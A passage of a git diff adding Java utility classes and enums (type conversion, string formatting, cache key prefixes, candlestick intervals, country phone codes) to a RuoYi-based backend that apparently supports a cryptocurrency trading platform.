+ * 转换失败不会报错 + * + * @param value 被转换的值 + * @param defaultValue 转换错误时的默认值 + * @return 结果 + */ + public static BigDecimal toBigDecimal(Object value, BigDecimal defaultValue) + { + if (value == null) + { + return defaultValue; + } + if (value instanceof BigDecimal) + { + return (BigDecimal) value; + } + if (value instanceof Long) + { + return new BigDecimal((Long) value); + } + if (value instanceof Double) + { + return BigDecimal.valueOf((Double) value); + } + if (value instanceof Integer) + { + return new BigDecimal((Integer) value); + } + final String valueStr = toStr(value, null); + if (StringUtils.isEmpty(valueStr)) + { + return defaultValue; + } + try + { + return new BigDecimal(valueStr); + } + catch (Exception e) + { + return defaultValue; + } + } + + /** + * 转换为BigDecimal
+ * 如果给定的值为空,或者转换失败,返回默认值
+ * 转换失败不会报错 + * + * @param value 被转换的值 + * @return 结果 + */ + public static BigDecimal toBigDecimal(Object value) + { + return toBigDecimal(value, null); + } + + /** + * 将对象转为字符串
+ * 1、Byte数组和ByteBuffer会被转换为对应字符串的数组 2、对象数组会调用Arrays.toString方法 + * + * @param obj 对象 + * @return 字符串 + */ + public static String utf8Str(Object obj) + { + return str(obj, CharsetKit.CHARSET_UTF_8); + } + + /** + * 将对象转为字符串
+ * 1、Byte数组和ByteBuffer会被转换为对应字符串的数组 2、对象数组会调用Arrays.toString方法 + * + * @param obj 对象 + * @param charsetName 字符集 + * @return 字符串 + */ + public static String str(Object obj, String charsetName) + { + return str(obj, Charset.forName(charsetName)); + } + + /** + * 将对象转为字符串
+ * 1、Byte数组和ByteBuffer会被转换为对应字符串的数组 2、对象数组会调用Arrays.toString方法 + * + * @param obj 对象 + * @param charset 字符集 + * @return 字符串 + */ + public static String str(Object obj, Charset charset) + { + if (null == obj) + { + return null; + } + + if (obj instanceof String) + { + return (String) obj; + } + else if (obj instanceof byte[]) + { + return str((byte[]) obj, charset); + } + else if (obj instanceof Byte[]) + { + byte[] bytes = ArrayUtils.toPrimitive((Byte[]) obj); + return str(bytes, charset); + } + else if (obj instanceof ByteBuffer) + { + return str((ByteBuffer) obj, charset); + } + return obj.toString(); + } + + /** + * 将byte数组转为字符串 + * + * @param bytes byte数组 + * @param charset 字符集 + * @return 字符串 + */ + public static String str(byte[] bytes, String charset) + { + return str(bytes, StringUtils.isEmpty(charset) ? Charset.defaultCharset() : Charset.forName(charset)); + } + + /** + * 解码字节码 + * + * @param data 字符串 + * @param charset 字符集,如果此字段为空,则解码的结果取决于平台 + * @return 解码后的字符串 + */ + public static String str(byte[] data, Charset charset) + { + if (data == null) + { + return null; + } + + if (null == charset) + { + return new String(data); + } + return new String(data, charset); + } + + /** + * 将编码的byteBuffer数据转换为字符串 + * + * @param data 数据 + * @param charset 字符集,如果为空使用当前系统字符集 + * @return 字符串 + */ + public static String str(ByteBuffer data, String charset) + { + if (data == null) + { + return null; + } + + return str(data, Charset.forName(charset)); + } + + /** + * 将编码的byteBuffer数据转换为字符串 + * + * @param data 数据 + * @param charset 字符集,如果为空使用当前系统字符集 + * @return 字符串 + */ + public static String str(ByteBuffer data, Charset charset) + { + if (null == charset) + { + charset = Charset.defaultCharset(); + } + return charset.decode(data).toString(); + } + + // ----------------------------------------------------------------------- 全角半角转换 + /** + * 半角转全角 + * + * @param input String. + * @return 全角字符串. + */ + public static String toSBC(String input) + { + return toSBC(input, null); + } + + /** + * 半角转全角 + * + * @param input String + * @param notConvertSet 不替换的字符集合 + * @return 全角字符串. + */ + public static String toSBC(String input, Set notConvertSet) + { + char[] c = input.toCharArray(); + for (int i = 0; i < c.length; i++) + { + if (null != notConvertSet && notConvertSet.contains(c[i])) + { + // 跳过不替换的字符 + continue; + } + + if (c[i] == ' ') + { + c[i] = '\u3000'; + } + else if (c[i] < '\177') + { + c[i] = (char) (c[i] + 65248); + + } + } + return new String(c); + } + + /** + * 全角转半角 + * + * @param input String. + * @return 半角字符串 + */ + public static String toDBC(String input) + { + return toDBC(input, null); + } + + /** + * 替换全角为半角 + * + * @param text 文本 + * @param notConvertSet 不替换的字符集合 + * @return 替换后的字符 + */ + public static String toDBC(String text, Set notConvertSet) + { + char[] c = text.toCharArray(); + for (int i = 0; i < c.length; i++) + { + if (null != notConvertSet && notConvertSet.contains(c[i])) + { + // 跳过不替换的字符 + continue; + } + + if (c[i] == '\u3000') + { + c[i] = ' '; + } + else if (c[i] > '\uFF00' && c[i] < '\uFF5F') + { + c[i] = (char) (c[i] - 65248); + } + } + String returnString = new String(c); + + return returnString; + } + + /** + * 数字金额大写转换 先写个完整的然后将如零拾替换成零 + * + * @param n 数字 + * @return 中文大写数字 + */ + public static String digitUppercase(double n) + { + String[] fraction = { "角", "分" }; + String[] digit = { "零", "壹", "贰", "叁", "肆", "伍", "陆", "柒", "捌", "玖" }; + String[][] unit = { { "元", "万", "亿" }, { "", "拾", "佰", "仟" } }; + + String head = n < 0 ? "负" : ""; + n = Math.abs(n); + + String s = ""; + for (int i = 0; i < fraction.length; i++) + { + s += (digit[(int) (Math.floor(n * 10 * Math.pow(10, i)) % 10)] + fraction[i]).replaceAll("(零.)+", ""); + } + if (s.length() < 1) + { + s = "整"; + } + int integerPart = (int) Math.floor(n); + + for (int i = 0; i < unit[0].length && integerPart > 0; i++) + { + String p = ""; + for (int j = 0; j < unit[1].length && n > 0; j++) + { + p = digit[integerPart % 10] + unit[1][j] + p; + integerPart = integerPart / 10; + } + s = p.replaceAll("(零.)*零$", "").replaceAll("^$", "零") + unit[0][i] + s; + } + return head + s.replaceAll("(零.)*零元", "元").replaceFirst("(零.)+", "").replaceAll("(零.)+", "零").replaceAll("^整$", "零元整"); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/text/StrFormatter.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/text/StrFormatter.java new file mode 100644 index 0000000..c78ac77 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/text/StrFormatter.java @@ -0,0 +1,92 @@ +package com.ruoyi.common.core.text; + +import com.ruoyi.common.utils.StringUtils; + +/** + * 字符串格式化 + * + * @author ruoyi + */ +public class StrFormatter +{ + public static final String EMPTY_JSON = "{}"; + public static final char C_BACKSLASH = '\\'; + public static final char C_DELIM_START = '{'; + public static final char C_DELIM_END = '}'; + + /** + * 格式化字符串
+ * 此方法只是简单将占位符 {} 按照顺序替换为参数
+ * 如果想输出 {} 使用 \\转义 { 即可,如果想输出 {} 之前的 \ 使用双转义符 \\\\ 即可
+ * 例:
+ * 通常使用:format("this is {} for {}", "a", "b") -> this is a for b
+ * 转义{}: format("this is \\{} for {}", "a", "b") -> this is \{} for a
+ * 转义\: format("this is \\\\{} for {}", "a", "b") -> this is \a for b
+ * + * @param strPattern 字符串模板 + * @param argArray 参数列表 + * @return 结果 + */ + public static String format(final String strPattern, final Object... argArray) + { + if (StringUtils.isEmpty(strPattern) || StringUtils.isEmpty(argArray)) + { + return strPattern; + } + final int strPatternLength = strPattern.length(); + + // 初始化定义好的长度以获得更好的性能 + StringBuilder sbuf = new StringBuilder(strPatternLength + 50); + + int handledPosition = 0; + int delimIndex;// 占位符所在位置 + for (int argIndex = 0; argIndex < argArray.length; argIndex++) + { + delimIndex = strPattern.indexOf(EMPTY_JSON, handledPosition); + if (delimIndex == -1) + { + if (handledPosition == 0) + { + return strPattern; + } + else + { // 字符串模板剩余部分不再包含占位符,加入剩余部分后返回结果 + sbuf.append(strPattern, handledPosition, strPatternLength); + return sbuf.toString(); + } + } + else + { + if (delimIndex > 0 && strPattern.charAt(delimIndex - 1) == C_BACKSLASH) + { + if (delimIndex > 1 && strPattern.charAt(delimIndex - 2) == C_BACKSLASH) + { + // 转义符之前还有一个转义符,占位符依旧有效 + sbuf.append(strPattern, handledPosition, delimIndex - 1); + sbuf.append(Convert.utf8Str(argArray[argIndex])); + handledPosition = delimIndex + 2; + } + else + { + // 占位符被转义 + argIndex--; + sbuf.append(strPattern, handledPosition, delimIndex - 1); + sbuf.append(C_DELIM_START); + handledPosition = delimIndex + 1; + } + } + else + { + // 正常占位符 + sbuf.append(strPattern, handledPosition, delimIndex); + sbuf.append(Convert.utf8Str(argArray[argIndex])); + handledPosition = delimIndex + 2; + } + } + } + // 加入最后一个占位符后所有的字符 + sbuf.append(strPattern, handledPosition, strPattern.length()); + + return sbuf.toString(); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/AssetEnum.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/AssetEnum.java new file mode 100644 index 0000000..f7453a1 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/AssetEnum.java @@ -0,0 +1,43 @@ +package com.ruoyi.common.enums; + +public enum AssetEnum { + + + + /** + * 平台资产 + */ + PLATFORM_ASSETS(1,"平台资产"), + + /** + * 理财资产 + */ + FINANCIAL_ASSETS(2,"理财资产"), + /** + * 合约资产 + */ + CONTRACT_ASSETS(3,"合约账户"), + + + + + ; + private Integer code; + + private String desc; + + public Integer getCode() + { + return code; + } + + public String getInfo() + { + return desc; + } + + AssetEnum(Integer code,String desc){ + this.code = code; + this.desc = desc; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/AuditStatusEnum.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/AuditStatusEnum.java new file mode 100644 index 0000000..bcc0c3a --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/AuditStatusEnum.java @@ -0,0 +1,45 @@ +package com.ruoyi.common.enums; + +/** + * 实名认证状态 + */ +public enum AuditStatusEnum { + + + /** + * 审核通过 + */ + EXAMINATION_PASSED("1","审核通过"), + + /** + * 不通过 + */ + AUDIT_NOT_PASSED("2","不通过"), + /** + * 未审核 + */ + NOT_REVIEWED("3","未审核"), + + + + + ; + private String code; + + private String desc; + + public String getCode() + { + return code; + } + + public String getInfo() + { + return desc; + } + + AuditStatusEnum(String code,String desc){ + this.code = code; + this.desc = desc; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/BusinessStatus.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/BusinessStatus.java new file mode 100644 index 0000000..10b7306 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/BusinessStatus.java @@ -0,0 +1,20 @@ +package com.ruoyi.common.enums; + +/** + * 操作状态 + * + * @author ruoyi + * + */ +public enum BusinessStatus +{ + /** + * 成功 + */ + SUCCESS, + + /** + * 失败 + */ + FAIL, +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/BusinessType.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/BusinessType.java new file mode 100644 index 0000000..2e17c4a --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/BusinessType.java @@ -0,0 +1,59 @@ +package com.ruoyi.common.enums; + +/** + * 业务操作类型 + * + * @author ruoyi + */ +public enum BusinessType +{ + /** + * 其它 + */ + OTHER, + + /** + * 新增 + */ + INSERT, + + /** + * 修改 + */ + UPDATE, + + /** + * 删除 + */ + DELETE, + + /** + * 授权 + */ + GRANT, + + /** + * 导出 + */ + EXPORT, + + /** + * 导入 + */ + IMPORT, + + /** + * 强退 + */ + FORCE, + + /** + * 生成代码 + */ + GENCODE, + + /** + * 清空数据 + */ + CLEAN, +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/CachePrefix.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/CachePrefix.java new file mode 100644 index 0000000..740bc5c --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/CachePrefix.java @@ -0,0 +1,122 @@ +package com.ruoyi.common.enums; + +public enum CachePrefix { + + /** + * token 信息 + */ + ACCESS_TOKEN, + /** + * token 信息 + */ + REFRESH_TOKEN, + /** + * 用户错误登录限制 + */ + LOGIN_TIME_LIMIT, + /** + * 普通验证码 + */ + CODE, + /** + * 短信验证码 + */ + SMS_CODE, + /** + * 邮箱验证码 + */ + EMAIL_CODE, + /** + * 币种汇率 + */ + CURRENCY_PRICE, + /** + * 24小时开盘价 + */ + CURRENCY_OPEN_PRICE, + /** + * 收盘价 + **/ + CURRENCY_CLOSE_PRICE, + /** + * 用户多币种充值地址 + */ + USER_ADDRESS, + /** + * 秒合约订单 + */ + ORDER_SECOND_CONTRACT, + /** + * 钱包KEY + */ + USER_WALLET, + /** + * 用户借贷KEY + */ + APP_LOADORDER, + /** + * 理财购买限制 + */ + MINE_FINANCIAL, + /** + *理财购买成交频繁限制 + */ + MINE_FINANCIAL_ORDER, + /** + * 玩家的站内信 + */ + USER_MAIL, + /** + * 玩家公共的站内信 + */ + COMMONALITY_MAIL, + /** + * 币币交易订单key + */ + REDIS_KEY_CURRENCY_ORDER, + /** + * 用户登录 标识 + */ + USER_LOGIN_ADDRESS_FLAG, + + /** + * 自有币种缓存 + */ + OWN_COIN_CACHE, + /** + * 币种k线缓存 + */ + COIN_KLINE, + /** + * 币种交易 + */ + COIN_TRADE, + /** + * 币种详情 + */ + COIN_DETAIL, + /** + * 止盈 + */ + POSITION_PRICE, + /** + * 用户上次提现地址 + */ + USER_ADDRESS_WITHDRAW + ; + + + public static String removePrefix(String str) { + return str.substring(str.lastIndexOf("}_") + 2); + } + + /** + * 通用获取缓存key值 + * + * @return 缓存key值 + */ + public String getPrefix() { + return "{" + this.name() + "}_:"; + } + +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/CandlestickIntervalEnum.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/CandlestickIntervalEnum.java new file mode 100644 index 0000000..7a30d9a --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/CandlestickIntervalEnum.java @@ -0,0 +1,64 @@ +package com.ruoyi.common.enums; + +import lombok.Getter; + +import java.util.Arrays; + +/** + * k线周期 + * + * @author clion + */ + +@Getter +public enum CandlestickIntervalEnum { + + + MIN1("ONE_MIN", "1min"), + MIN5("FIVE_MIN", "5min"), + MIN15("FIFTEEN_MIN", "15min"), + MIN30("THIRTY_MIN", "30min"), + MIN60("ONE_HOUR", "60min"), + HOUR4("FOUR_HOUR ", "4hour"), + DAY1("ONE_DAY", "1day"), + WEEK1("SEVEN_DAY", "1week"), + YEAR1("ONE_YEAR", "1year"); + + + private String code; + private String value; + + CandlestickIntervalEnum(String code, String value) { + this.code = code; + this.value = value; + } + + public String getCode() { + return code; + } + + public void setCode(String code) { + this.code = code; + } + + public String getValue() { + return value; + } + + public void setValue(String value) { + this.value = value; + } + + public static String getValue(String code) { + CandlestickIntervalEnum[] betResult = CandlestickIntervalEnum.values(); + CandlestickIntervalEnum result = Arrays.asList(betResult).stream() + .filter(i -> i.getCode().equals(code)) + .findFirst().orElse(null); + if (result == null) { + return "1min"; + } + return result.getValue(); + } + + +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/ClassifyEnum.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/ClassifyEnum.java new file mode 100644 index 0000000..a42f6bc --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/ClassifyEnum.java @@ -0,0 +1,30 @@ +package com.ruoyi.common.enums; + +public enum ClassifyEnum { + + //(0 普通 1 vip 2 增值) + + ORDINARY("0","普通"), + VIP("1","vip"), + ADDED_VALUE("2","增值"), + ; + private final String code; + private final String info; + + ClassifyEnum(String code, String info) + { + this.code = code; + this.info = info; + } + + public String getCode() + { + return code; + } + + public String getInfo() + { + return info; + } + +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/CommonEnum.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/CommonEnum.java new file mode 100644 index 0000000..11cb122 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/CommonEnum.java @@ -0,0 +1,31 @@ +package com.ruoyi.common.enums; + +public enum CommonEnum { + + TRUE(1,true), + FALSE(0,false), + ZERO(0,false), + ONE(1,false), + TWO(2,false), + THREE(3,false), + ; + + private final Integer code; + private final Boolean desc; + + CommonEnum(Integer code, Boolean info) + { + this.code = code; + this.desc = info; + } + + public Integer getCode() + { + return code; + } + + public Boolean getInfo() + { + return desc; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/ContractOrderStatusEmun.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/ContractOrderStatusEmun.java new file mode 100644 index 0000000..bb02558 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/ContractOrderStatusEmun.java @@ -0,0 +1,22 @@ +package com.ruoyi.common.enums; + +public enum ContractOrderStatusEmun { + DEAL("0","待成交"), + ALLDEAl("1","完全成交"), + CANCAL("2","撤销"); + + ContractOrderStatusEmun(String code, String value) { + this.code = code; + this.value = value; + } + private String code; + private String value; + + public String getCode() { + return code; + } + + public String getValue() { + return value; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/CountryCodeAndPhoneCodeEnum.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/CountryCodeAndPhoneCodeEnum.java new file mode 100644 index 0000000..b3f74eb --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/CountryCodeAndPhoneCodeEnum.java @@ -0,0 +1,308 @@ +package com.ruoyi.common.enums; + +import cn.hutool.json.JSONArray; +import cn.hutool.json.JSONUtil; +import com.ruoyi.common.utils.ChineseCharacterUtil; +import lombok.AllArgsConstructor; +import lombok.Getter; + +import java.util.*; +/** + * 国家区号 和 手机区号 枚举 + *

+ * todo: 需要放到后台 vchatAll 中统一标准 + */ +@Getter +@AllArgsConstructor +@Deprecated +public enum CountryCodeAndPhoneCodeEnum { + AFGHANISTAN("Afghanistan", "阿富汗", "AF", "93"), + ALASKA("Alaska", "阿拉斯加", "US", "1907"), + ALBANIA("Albania", "阿尔巴尼亚", "AL", "355"), + ALGERIA("Algeria", "阿尔及利亚", "DZ", "213"), + AMERICAN_SAMOA("American Samoa", "美属萨摩亚", "AS", "1684"), + ANDORRA("Andorra", "安道尔", "AD", "376"), + ANGOLA("Angola", "安哥拉", "AO", "244"), + ANGUILLA("Anguilla", "安圭拉", "AI", "1264"), + ANTIGUA_AND_BARBUDA("Antigua and Barbuda", "安提瓜和巴布达", "AG", "1268"), + ARGENTINA("Argentina", "阿根廷", "AR", "54"), + ARMENIA("Armenia", "亚美尼亚", "AM", "374"), + ARUBA("Aruba", "阿鲁巴", "AW", "297"), + ASCENSION("Ascension", "阿森松", "SH", "247"), + AUSTRALIA("Australia", "澳大利亚", "AU", "61"), + AUSTRIA("Austria", "奥地利", "AT", "43"), + AZERBAIJAN("Azerbaijan", "阿塞拜疆", "AZ", "994"), + BAHAMAS("Bahamas", "巴哈马", "BS", "1242"), + BAHRAIN("Bahrain", "巴林", "BH", "973"), + BANGLADESH("Bangladesh", "孟加拉国", "BD", "880"), + BARBADOS("Barbados", "巴巴多斯", "BB", "1246"), + BELARUS("Belarus", "白俄罗斯", "BY", "375"), + BELGIUM("Belgium", "比利时", "BE", "32"), + BELIZE("Belize", "伯利兹", "BZ", "501"), + BENIN("Benin", "贝宁", "BJ", "229"), + BERMUDA("Bermuda", "百慕大群岛", "BM", "1441"), + BHUTAN("Bhutan", "不丹", "BT", "975"), + BOLIVIA("Bolivia", "玻利维亚", "BO", "591"), + BOSNIA_AND_HERZEGOVINA("Bosnia and Herzegovina", "波斯尼亚和黑塞哥维那", "BA", "387"), + BOTSWANA("Botswana", "博茨瓦纳", "BW", "267"), + BRAZIL("Brazil", "巴西", "BR", "55"), + BRUNEI("Brunei", "文莱", "BN", "673"), + BULGARIA("Bulgaria", "保加利亚", "BG", "359"), + BURKINA_FASO("Burkina Faso", "布基纳法索", "BF", "226"), + BURUNDI("Burundi", "布隆迪", "BI", "257"), + CAMBODIA("Cambodia", "柬埔寨", "KH", "855"), + CAMEROON("Cameroon", "喀麦隆", "CM", "237"), + CANADA("Canada", "加拿大", "CA", "1"), + ISLAS_CANARIAS("Islas Canarias", "加那利群岛", "ES", "34"), + CAPE_VERDE("Cape Verde", "开普", "CV", "238"), + CAYMAN_ISLANDS("Cayman Islands", "开曼群岛", "KY", "1345"), + CENTRAL_AFRICAN_REPUBLIC("Central African Republic", "中非共和国", "CF", "236"), + CHAD("Chad", "乍得", "TD", "235"), + CHINA("China", "中国", "CN", "86"), + CHILE("Chile", "智利", "CL", "56"), + /* CHRISTMAS_ISLAND("Christmas Island", "圣诞岛", "CX", "0061 9164"), + COCOS_ISLAND("Cocos Island", "科科斯岛", "CC", "0061 9162"),*/ + COLOMBIA("Colombia", "哥伦比亚", "CO", "57"), + DOMINICAN_REPUBLIC("Dominican Republic", "多米尼加共和国", "DO", "1809"), + COMOROS("Comoros", "科摩罗", "KM", "269"), + REPUBLIC_OF_THE_CONGO("Republic Of The Congo", "刚果共和国", "CG", "242"), + COOK_ISLANDS("Cook Islands", "库克群岛", "CK", "682"), + COSTA_RICA("Costa Rica", "哥斯达黎加", "CR", "506"), + CROATIA("Croatia", "克罗地亚", "HR", "385"), + CUBA("Cuba", "古巴", "CU", "53"), + CURACAO("Curacao", "库拉索", "CW", "599"), + CYPRUS("Cyprus", "塞浦路斯", "CY", "357"), + CZECH("Czech", "捷克", "CZ", "420"), + DENMARK("Denmark", "丹麦", "DK", "45"), + DJIBOUTI("Djibouti", "吉布提", "DJ", "253"), + DOMINICA("Dominica", "多米尼加", "DM", "1767"), + ECUADOR("Ecuador", "厄瓜多尔", "EC", "593"), + EGYPT("Egypt", "埃及", "EG", "20"), + EL_SALVADOR("El Salvador", "萨尔瓦多", "SV", "503"), + EQUATORIAL_GUINEA("Equatorial Guinea", "赤道几内亚", "GQ", "240"), + ERITREA("Eritrea", "厄立特里亚", "ER", "291"), + ESTONIA("Estonia", "爱沙尼亚", "EE", "372"), + ETHIOPIA("Ethiopia", "埃塞俄比亚", "ET", "251"), + FALKLAND_ISLANDS("Falkland Islands", "福克兰群岛", "FK", "500"), + FAROE_ISLANDS("Faroe Islands", "法罗群岛", "FO", "298"), + FIJI("Fiji", "斐济", "FJ", "679"), + FINLAND("Finland", "芬兰", "FI", "358"), + FRANCE("France", "法国", "FR", "33"), + FRENCH_GUIANA("French Guiana", "法属圭亚那", "GF", "594"), + FRENCH_POLYNESIA("French Polynesia", "法属波利尼西亚", "PF", "689"), + GABON("Gabon", "加蓬", "GA", "241"), + GAMBIA("Gambia", "冈比亚", "GM", "220"), + GEORGIA("Georgia", "格鲁吉亚", "GE", "995"), + GERMANY("Germany", "德国", "DE", "49"), + GHANA("Ghana", "加纳", "GH", "233"), + GIBRALTAR("Gibraltar", "直布罗陀", "GI", "350"), + GREECE("Greece", "希腊", "GR", "30"), + GREENLAND("Greenland", "格陵兰岛", "GL", "299"), + GRENADA("Grenada", "格林纳达", "GD", "1473"), + GUADELOUPE("Guadeloupe", "瓜德罗普岛", "GP", "590"), + GUAM("Guam", "关岛", "GU", "1671"), + GUATEMALA("Guatemala", "瓜地马拉", "GT", "502"), + GUINEA("Guinea", "几内亚", "GN", "224"), + GUINEA_BISSAU("Guinea-Bissau", "几内亚比绍共和国", "GW", "245"), + GUYANA("Guyana", "圭亚那", "GY", "592"), + HAITI("Haiti", "海地", "HT", "509"), + HAWAII("Hawaii", "夏威夷", "US", "1808"), + HONDURAS("Honduras", "洪都拉斯", "HN", "504"), + HONG_KONG("Hong Kong", "中国香港", "HK", "852"), + HUNGARY("Hungary", "匈牙利", "HU", "36"), + ICELAND("Iceland", "冰岛", "IS", "354"), + INDIA("India", "印度", "IN", "91"), + INDONESIA("Indonesia", "印度尼西亚", "ID", "62"), + IRAN("Iran", "伊朗", "IR", "98"), + IRAQ("Iraq", "伊拉克", "IQ", "964"), + IRELAND("Ireland", "爱尔兰", "IE", "353"), + ISRAEL("Israel", "以色列", "IL", "972"), + ITALY("Italy", "意大利", "IT", "39"), + IVORY_COAST("Ivory Coast", "象牙海岸", "CI", "225"), + JAMAICA("Jamaica", "牙买加", "JM", "1876"), + JAPAN("Japan", "日本", "JP", "81"), + JORDAN("Jordan", "约旦", "JO", "962"), + KAZAKHSTAN("Kazakhstan", "哈萨克斯坦", "KZ", "7"), + KENYA("Kenya", "肯尼亚", "KE", "254"), + KIRIBATI("Kiribati", "基里巴斯", "KI", "686"), + KOREA_DEMOCRATIC_REP("Korea Democratic Rep.", "朝鲜", "KP", "85"), + SOUTH_KOREA("South Korea", "韩国", "KR", "82"), + KUWAIT("Kuwait", "科威特", "KW", "965"), + KYRGYZSTAN("Kyrgyzstan", "吉尔吉斯斯坦", "KG", "996"), + LAOS("Laos", "老挝", "LA", "856"), + LATVIA("Latvia", "拉脱维亚", "LV", "371"), + LEBANON("Lebanon", "黎巴嫩", "LB", "961"), + LESOTHO("Lesotho", "莱索托", "LS", "266"), + LIBERIA("Liberia", "利比里亚", "LR", "231"), + LIBYA("Libya", "利比亚", "LY", "218"), + LIECHTENSTEIN("Liechtenstein", "列支敦士登", "LI", "423"), + LITHUANIA("Lithuania", "立陶宛", "LT", "370"), + LUXEMBOURG("Luxembourg", "卢森堡", "LU", "352"), + MACAU("Macau", "中国澳门", "MO", "853"), + MACEDONIA("Macedonia", "马其顿", "MK", "389"), + MADAGASCAR("Madagascar", "马达加斯加", "MG", "261"), + MALAWI("Malawi", "马拉维", "MW", "265"), + MALAYSIA("Malaysia", "马来西亚", "MY", "60"), + MALDIVES("Maldives", "马尔代夫", "MV", "960"), + MALI("Mali", "马里", "ML", "223"), + MALTA("Malta", "马耳他", "MT", "356"), + MARSHALL_ISLANDS("Marshall Islands", "马绍尔群岛", "MH", "692"), + MARTINIQUE("Martinique", "马提尼克", "MQ", "596"), + MAURITANIA("Mauritania", "毛里塔尼亚", "MR", "222"), + MAURITIUS("Mauritius", "毛里求斯", "MU", "230"), + MAYOTTE("Mayotte", "马约特", "YT", "269"), + MEXICO("Mexico", "墨西哥", "MX", "52"), + MICRONESIA("Micronesia", "密克罗尼西亚", "FM", "691"), + MOLDOVA("Moldova", "摩尔多瓦", "MD", "373"), + MONACO("Monaco", "摩纳哥", "MC", "377"), + MONGOLIA("Mongolia", "蒙古", "MN", "976"), + MONTENEGRO("Montenegro", "黑山", "ME", "382"), + MONTSERRAT("Montserrat", "蒙特塞拉特岛", "MS", "1664"), + MOROCCO("Morocco", "摩洛哥", "MA", "212"), + MOZAMBIQUE("Mozambique", "莫桑比克", "MZ", "258"), + MYANMAR("Myanmar", "缅甸", "MM", "95"), + NAMIBIA("Namibia", "纳米比亚", "NA", "264"), + NAURU("Nauru", "拿鲁岛", "NR", "674"), + NEPAL("Nepal", "尼泊尔", "NP", "977"), + NETHERLANDS("Netherlands", "荷兰", "NL", "31"), + NEW_CALEDONIA("New Caledonia", "新喀里多尼亚", "NC", "687"), + NEW_ZEALAND("New Zealand", "新西兰", "NZ", "64"), + NICARAGUA("Nicaragua", "尼加拉瓜", "NI", "505"), + NIGER("Niger", "尼日尔", "NE", "227"), + NIGERIA("Nigeria", "尼日利亚", "NG", "234"), + NIUE_ISLAND("Niue Island", "纽埃岛(新)", "NU", "683"), + NORFOLK_ISLAND("Norfolk Island", "诺福克岛(澳)", "NF", "6723"), + NORWAY("Norway", "挪威", "NO", "47"), + OMAN("Oman", "阿曼", "OM", "968"), + PALAU("Palau", "帕劳", "PW", "680"), + PANAMA("Panama", "巴拿马", "PA", "507"), + PAPUA_NEW_GUINEA("Papua New Guinea", "巴布亚新几内亚", "PG", "675"), + PARAGUAY("Paraguay", "巴拉圭", "PY", "595"), + PERU("Peru", "秘鲁", "PE", "51"), + PHILIPPINES("Philippines", "菲律宾", "PH", "63"), + POLAND("Poland", "波兰", "PL", "48"), + PORTUGAL("Portugal", "葡萄牙", "PT", "351"), + PAKISTAN("Pakistan", "巴基斯坦", "PK", "92"), + PUERTO_RICO("Puerto Rico", "波多黎各", "PR", "1787"), + QATAR("Qatar", "卡塔尔", "QA", "974"), + RÉUNION_ISLAND("Réunion Island", "留尼汪", "RE", "262"), + ROMANIA("Romania", "罗马尼亚", "RO", "40"), + RUSSIA("Russia", "俄罗斯", "RU", "7"), + RWANDA("Rwanda", "卢旺达", "RW", "250"), + SAMOA_EASTERN("Samoa,Eastern", "东萨摩亚(美)", "AS", "684"), + SAMOA("Samoa", "萨摩亚", "WS", "685"), + SAN_MARINO("San Marino", "圣马力诺", "SM", "378"), + SAINT_PIERRE_AND_MIQUELON("Saint Pierre and Miquelon", "圣彼埃尔和密克隆岛", "PM", "508"), + SAO_TOME_AND_PRINCIPE("Sao Tome and Principe", "圣多美和普林西比", "ST", "239"), + SAUDI_ARABIA("Saudi Arabia", "沙特阿拉伯", "SA", "966"), + SENEGAL("Senegal", "塞内加尔", "SN", "221"), + SERBIA("Serbia", "塞尔维亚", "RS", "381"), + SEYCHELLES("Seychelles", "塞舌尔", "SC", "248"), + SIERRA_LEONE("Sierra Leone", "塞拉利昂", "SL", "232"), + SINGAPORE("Singapore", "新加坡", "SG", "65"), + SAINT_MAARTEN_DUTCH_PART("Saint Maarten (Dutch Part)", "圣马丁岛(荷兰部分)", "SX", "1721"), + SLOVAKIA("Slovakia", "斯洛伐克", "SK", "421"), + SLOVENIA("Slovenia", "斯洛文尼亚", "SI", "386"), + SOLOMON_ISLANDS("Solomon Islands", "所罗门群岛", "SB", "677"), + SOMALIA("Somalia", "索马里", "SO", "252"), + SOUTH_AFRICA("South Africa", "南非", "ZA", "27"), + SPAIN("Spain", "西班牙", "ES", "34"), + SRI_LANKA("Sri Lanka", "斯里兰卡", "LK", "94"), + ST_HELENA("St.Helena", "圣赫勒拿", "SH", "290"), + SAINT_LUCIA("Saint Lucia", "圣露西亚", "LC", "1758"), + SAINT_VINCENT_AND_THE_GRENADINES("Saint Vincent and The Grenadines", "圣文森特和格林纳丁斯", "VC", "1784"), + SUDAN("Sudan", "苏丹", "SD", 